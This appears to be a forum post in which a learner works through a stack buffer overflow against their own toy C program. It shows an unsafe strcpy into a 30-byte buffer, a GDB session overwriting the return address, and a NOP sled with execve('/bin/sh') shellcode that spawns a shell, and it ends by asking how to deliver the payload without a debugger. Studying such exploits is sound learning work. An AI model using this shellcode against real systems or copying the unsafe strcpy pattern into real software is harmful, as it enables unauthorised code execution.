ok thank you, but consider this example:
Code:
void copier(char *chaine)
{
char buffer[30];
strcpy(buffer, chaine);
printf("%s", buffer);
}
int main()
{
char buf[512];
copier(buf);
return 0;
}
with GDB i do:
Code:
Breakpoint 1, main () at vuln.c:15
15 copier(buf);
(gdb) set buf="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXXXX"
(gdb) n
Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) p $eip
$1 = (void (*)()) 0x58585858
(gdb)
the overflow overwrites well the return address.
and now even with a shellcode instead of a buffer:
Code:
void copier(char *chaine)
{
char buffer[30];
strcpy(buffer, chaine);
printf("%s", buffer);
}
int main()
{
char buf[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80\x3f\xf5\xff\xbf";
copier(buf);
return 0;
}
I start with GDB :
Code:
(gdb) r
Starting program: /home/nels/prog_C/vuln
Executing new program: /bin/dash
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
$
without GDB how I can write in the buffer?
